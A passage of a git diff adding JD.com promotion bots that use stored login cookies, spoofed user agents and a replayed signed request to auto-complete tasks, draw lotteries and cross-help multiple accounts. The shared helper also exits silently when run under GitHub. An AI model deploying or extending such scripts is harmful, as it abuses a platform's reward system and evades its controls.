Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_qcshj.js b/backUp/jd_qcshj.js new file mode 100644 index 0000000..9d7843e --- /dev/null +++ b/backUp/jd_qcshj.js @@ -0,0 +1,336 @@ +/* +入口 京东APP >> 玩一玩 >> 汽车生活节 +https://h5.m.jd.com/babelDiy/Zeus/2FdCyR9rffxKUkMpQTP4WT4bArmL/index.html + + +============Quantumultx=============== +[task_local] +#8.12-8.20 汽车生活节 +30 9,21 12-20 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js, tag=8.12-8.20 汽车生活节, enabled=true + +================Loon============== +[Script] +cron "30 9,21 12-20 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js,tag=8.12-8.20 汽车生活节 + +===============Surge================= +8.12-8.20 汽车生活节 = type=cron,cronexp="30 9,21 12-20 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js + +============小火箭========= +8.12-8.20 汽车生活节 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js, cronexpr="30 9,21 12-20 8 *", timeout=3600, enable=true +*/ + +const $ = new Env('汽车生活节'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', + allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +function getUA() { + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +$.taskVos = [] +$.helpCodes = [] +$.allMsg = '' +$.canLottery = true +appid = "1E1xRy6c" +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log('8月来电好物节') + console.log('截至时间8月20日') + if (new Date('2021-8-20 23:59:59') < Date.now()) { + console.log('下个月更精彩!!') + return + } + getUA() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beans = 0; + $.isLogin = true; + $.nickName = ''; + message = '' + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if ($.UserName === 'null') continue; + await main() + if($.beans > 0) $.allMsg += `京东账号${$.index} ${$.nickName || $.UserName}\n获得${$.beans}京豆\n` + + } + } + if($.helpCodes.length > 0) + console.log('=======================================内部好友助力==============================') + //给个好友只能助力3次 + for (let i = 0; i < cookiesArr.length && $.helpCodes.length > 0; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + message = '' + $.canHelp = true + for (let i of $.helpCodes) { + if (!$.canHelp) + continue + if (i.user == $.UserName || !i.id) + continue; + console.log(`${$.UserName} 助力${i.user}`) + await toHelp(i.id) + await $.wait(500) + } + } + } + await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +function showMsg() { + return new Promise(async resolve => { + console.log('运行完毕') + if($.allMsg){ + $.msg($.name, '', $.allMsg); + if ($.isNode()){ + await notify.sendNotify($.name, $.allMsg) + } + } + resolve() + }) +} +async function main() { + await getHome() + for (let t of $.taskVos) { + if (t.status == 2) + continue + console.log(`开始任务${t.taskName}`) + + if (t.taskType == 3) { + await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 1) + await $.wait(1000) + await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 0) + //todo 浏览关注暂时没做 + } else if ([9].includes(t.taskType) && t.shoppingActivityVos) { + let success = await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 1) + if (success.indexOf('成功') > -1) { + await $.wait(7000) + await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 0) + } else { + console.log('浏览失败') + } + //助力好友 + } else if (t.taskType == 14) { + $.helpCodes.push({ + user: $.UserName, + id: t.assistTaskDetailVo.taskToken + }) + //关注并浏览 + } else if (t.taskType == 1) { + for (let f of t.followShopVo) { + await browse(f.taskToken, t.taskId, 1) + await $.wait(7000) + await browse(f.taskToken, t.taskId, 0) + } + //浏览指定商品 + } else if (t.taskType == 8) { + for (let f of t.productInfoVos) { + await browse(f.taskToken, t.taskId, 1) + await $.wait(7000) + await browse(f.taskToken, t.taskId, 0) + } + } else if (t.taskType == 21) { + //todo 开卡 + } + await $.wait(1000) + } + $.canLottery = true + await getHome(); + while ($.userScore >= 200 && $.canLottery) { + try { + await lottery() + } catch (e) { + console.log(e) + } + await $.wait(1000) + await getHome() + await $.wait(1000) + } +} + +async function getHome() { + return new Promise(async resolve => { + $.post(request("healthyDay_getHomeData", { "appId": appid, "taskToken": "", "channelId": 1 }), + (e, r, d) => { + d = JSON.parse(d) + if (d.data.bizCode == 0) { + //获取任务 + $.taskVos = d.data.result.taskVos + $.userScore = d.data.result.userInfo.userScore + } + resolve() + }) + }) +} + +/** + * 签到 + * + * @returns {Promise} + */ +async function sign(taskToken, taskId) { + return new Promise(resolve => { + $.post(request("harmony_collectScore", { + "appId": appid, + "taskToken": taskToken, + "taskId": taskId, + "actionType": "0" + }), + (e, r, d) => { + d = JSON.parse(d); + if (d.data.bizCode == 0) { + console.log(`签到成功 获取电量${d.data.result.acquiredScore}`) + } + resolve() + }) + }) +} + +/** + * 浏览任务 + * + * @param taskToken + * @param taskId + * @param actionType + * @returns {Promise} + */ +async function browse(taskToken, taskId, actionType) { + return new Promise(resolve => { + $.post(request("harmony_collectScore", { + "appId": appid, + "taskToken": taskToken, + "taskId": taskId, + "actionType": actionType + }), + (e, r, d) => { + d = JSON.parse(d); + console.log(`${d.data.bizMsg}`) + resolve(d.data.bizMsg) + }) + }) +} + +async function toHelp(taskToken) { + return new Promise(resolve => { + $.post(request("harmony_collectScore", { + "appId": appid, + "taskToken": taskToken, + "taskId": 6, + "actionType": 0 + }), + (e, r, d) => { + d = JSON.parse(d); + console.log(`助力结果:${d.data.bizMsg}`) + if (d.data.bizMsg.indexOf("上限") > -1) + $.canHelp = false + else if (d.data.bizMsg.indexOf("满员") > -1) { + for (let i in $.helpCodes) { + if ($.helpCodes[i].user == $.UserName) { + $.helpCodes[i] = '' + } + } + } + resolve() + }) + }) +} + +/** + * 狗命抽奖 + * + * @returns {Promise} + */ +async function lottery() { + return new Promise(resolve => { + $.post(request("interact_template_getLotteryResult", { "appId": appid }), + (e, r, d) => { + d = JSON.parse(d) + if (d.data.bizCode != 0) { + $.canLottery = false + } + let result = d.data.result + if (result.userAwardsCacheDto.type == 0) + console.log('抽个寂寞') + else if (result.userAwardsCacheDto.type == 2) { + $.beans += Number(result.userAwardsCacheDto.jBeanAwardVo.quantity) || 0 + console.log(result.userAwardsCacheDto.jBeanAwardVo) + } else + console.log('没用的优惠券' + JSON.stringify(result)) + resolve(result.userScore) + }) + }) +} + +function request(func, body = { "appId": appid, "taskToken": "", "channelId": 1 }) { + let p = { + "url": `${JD_API_HOST}`, + "headers": { + "Origin": "https://h5.m.jd.com", + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4BvJGuWhUZkGTF9Z2FryWtrLWbDm/index.html?babelChannel=ttt12&utm_campaign=&utm_source=&utm_term=&utm_medium=", + "User-Agent": $.UA + }, + body: `functionId=${func}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0` + + } + + return p +} + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_qixi.js b/backUp/jd_qixi.js new file mode 100644 index 0000000..6696871 --- /dev/null +++ b/backUp/jd_qixi.js @@ -0,0 +1,480 @@ +/* +入口:23.0复制整段话 http:/JZUpL5s2BpdFdT 美妆好礼,示爱七夕,快来和我一起收情书抽乐园门票!#yDrnMBbu7a%买买买,→亰咚 +入口:美妆馆- 右边- 抽取免费门票 +acttime 8.4-8.15瓜分京豆 +[task_local] +#柠檬七夕情报局 +0 1,12,17 * * * jd_qixi.js, tag=柠檬七夕情报局, img-url=http://nm66.top/1.jpg, enabled=true +*/ + +const $ = new Env('柠檬七夕情报局'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } +$.temp = []; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + $.log("如发现账号过多 运行失败报错 隔断时间再运行") + await $.wait(2000) + await isvObfuscator() + + await getinfo() + await chat() + + for (let i = 15; i < 34; i++) { + await dotask("follow_shop",i) + + } +for (let i = 13; i < 27; i++) { + await dotask("add_product",i) + + } +for (let i = 12; i < 23; i++) { + await dotask("meeting_view",i) + + } +$.log("开卡默认不开") + await $.wait(1000) + await isvObfuscator() + + await getinfo() + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ((cookiesArr && cookiesArr.length >= 1)) { + console.log(`\n账号内部相互邀请助力\n`); + for (let item of $.temp) { + console.log(`\n${$.UserName} 去参助力 ${item}`); + const helpRes = await inviteteam("map_team_invite?inviter_id=",item,''); + const helpRes1 = await inviteteam("invite?inviter_id=",item,"&from_type=1"); + + + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +function isvObfuscator() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body:"area=17_1458_1463_43894&body=%7B%22url%22%3A%22https%3A%5C/%5C/xinrui1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone9%2C2&eid=eidIe2798122d1s4GEix/uspRjy92JqJ273YghhIs3JZdi/4JjftGCWZOLgY3glC5gGXsTY1vGLRKckMeHq2opKqTBNLiayOHJtx2EhExIqlbarZpTFa&isBackground=N&joycious=35&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=6898c30638c55142969304c8e2167997fa59eb53&osVersion=14.3&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=d498ae62e38c880b43fc19e2804315b3&st=1628571194379&sv=110&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJp50CWXKpVTRAM5ixaZVeR4UC5ZkNHju%2Br/F8d4PikLsOYPSDFme89DXOmtwRkFe8HqqCrlQw4SgcxD6PNrngAHJ1QxbLssRnSG%2B8sIjnikCNQ2RKJXoDx1Jlf/rzJWwC6MLb9nJVtDBXDDW7j23vsoRek2ljMg0Tz%2B2wWsKFAM0IvZEhKAJfnA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0", + +headers: { + +"Host": "api.m.jd.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) +if(reust.code==0){ + tk = reust.token + //$.log(tk) + await info() +}else if(reust.code !=0){ + $.log("黑号"+data) +} + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function info() { + return new Promise(async (resolve) => { + + let options = { + url: `https://xinrui1-isv.isvjcloud.com/sapi/jd-user-info`, + body: `{"token":"${tk}","source":"01"}`, + +headers: { +"Host": "xinrui1-isv.isvjcloud.com", + +"Origin": "https://xinrui1-isv.isvjcloud.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; PACM00 Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.1.0)", +"Sec-Fetch-Mode": "cors", +"Content-Type":" application/json;charset=UTF-8", +"X-Requested-With": "com.jingdong.app.mall", +"Sec-Fetch-Site": "same-origin", + + + } + } + + $.post(options, async (err, resp, data) => { + //console.log(`${JSON.stringify(options)}`) + //$.log(data) + try { + + const reust = JSON.parse(data) +if(reust.access_token){ + accesstk = reust.access_token + //$.log(accesstk) +}else { + $.log("accesstoken获取失败") +} + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo() { + return new Promise(async (resolve) => { + + let options = { + url: `https://xinrui1-isv.isvjcloud.com/sapi/get_user_info`, + //body:`{"token":"${tk}","source":"01"}`, + +headers: { + +"Host": "xinrui1-isv.isvjcloud.com", + +"Origin": "https://xinrui1-isv.isvjcloud.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", +"Sec-Fetch-Mode": "cors", +"Content-Type":" application/json;charset=UTF-8", +"X-Requested-With": "com.jingdong.app.mall", +"Sec-Fetch-Site": "same-origin", + "Authorization": `bearer ${accesstk}`, + } + } + + $.get(options, async (err, resp, data) => { + // $.log(data) + try { + + data = JSON.parse(data) + if(data.nickname){ + $.log(`亲爱的叼毛:${data.nickname}\n剩余情书:${data.coins}\n邀请码:${data.id}`) + $.temp.push(data.id); + cj = data.coins/10 + cj = cj.toFixed(1) +if(cj > 1){ + for (let i = 0; i < cj; i++) { + await upgrade()} +}}else {$.log("数据获取失败")} + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//add_product +//add_product +//meeting_view +function dotask(type,id) { + return new Promise(async (resolve) => { + + let options = { + url: `https://xinrui1-isv.isvjcloud.com/sapi/${type}?id=${id}`, + body:``, + +headers: { + +"Host": "xinrui1-isv.isvjcloud.com", + +"Origin": "https://xinrui1-isv.isvjcloud.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", +"Sec-Fetch-Mode": "cors", +"Content-Type":" application/json;charset=UTF-8", +"X-Requested-With": "com.jingdong.app.mall", +"Sec-Fetch-Site": "same-origin", + "Authorization": `bearer ${accesstk}`, + } + } + + $.post(options, async (err, resp, data) => { + try { +data = JSON.parse(data) +if(data.coins){ + $.log(data.coins) +}else { + $.log(data.message) +} + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function chat() { + return new Promise(async (resolve) => { + + let options = { + url: `https://xinrui1-isv.isvjcloud.com/sapi/chat`, + body:``, + +headers: { + +"Host": "xinrui1-isv.isvjcloud.com", +"Content-Type": "application/json;charset=utf-8", +"Accept": "application/json, text/plain, */*", +"Authorization": "bearer undefined", +"Origin": "https://xinrui1-isv.isvjcloud.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", + "Authorization": `bearer ${accesstk}`, + } + } + + $.post(options, async (err, resp, data) => { + try { +data = JSON.parse(data) +if(data.content){ +$.log(data.content+" 情书:"+data.coins) +}else {$.log(data.message)} + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function upgrade() { + return new Promise(async (resolve) => { + + let options = { + url: `https://xinrui1-isv.isvjcloud.com/sapi/user_level_upgrade`, + body:``, + +headers: { + +"Host": "xinrui1-isv.isvjcloud.com", + +"Origin": "https://xinrui1-isv.isvjcloud.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", +"Sec-Fetch-Mode": "cors", +"Content-Type":" application/json;charset=UTF-8", +"X-Requested-With": "com.jingdong.app.mall", +"Sec-Fetch-Site": "same-origin", + "Authorization": `bearer ${accesstk}`, + } + } + + $.post(options, async (err, resp, data) => { + //$.log(data) + try { + +data = JSON.parse(data) +if(data['letter_info']){ +$.log(data['letter_info']['content']+" \n"+data['letter_info']['peroration']) + +}else {$.log(data.message)} + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function inviteteam(invitetype,code,from_type) { + return new Promise(async (resolve) => { +//invite?inviter_id= //&from_type=1 +//map_team_invite?inviter_id= + let options = { + url: `https://xinrui1-isv.isvjcloud.com/sapi/${invitetype}${code}${from_type}`, + //url: `https://xinrui1-isv.isvjcloud.com/sapi/map_team_invite?inviter_id=${code}`, + body:``, + +headers: { + +"Host": "xinrui1-isv.isvjcloud.com", + +"Origin": "https://xinrui1-isv.isvjcloud.com", + +"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", +"Sec-Fetch-Mode": "cors", +"Content-Type":" application/json;charset=UTF-8", +"X-Requested-With": "com.jingdong.app.mall", +"Sec-Fetch-Site": "same-origin", + "Authorization": `bearer ${accesstk}`, + } + } + + $.post(options, async (err, resp, data) => { + try { +data 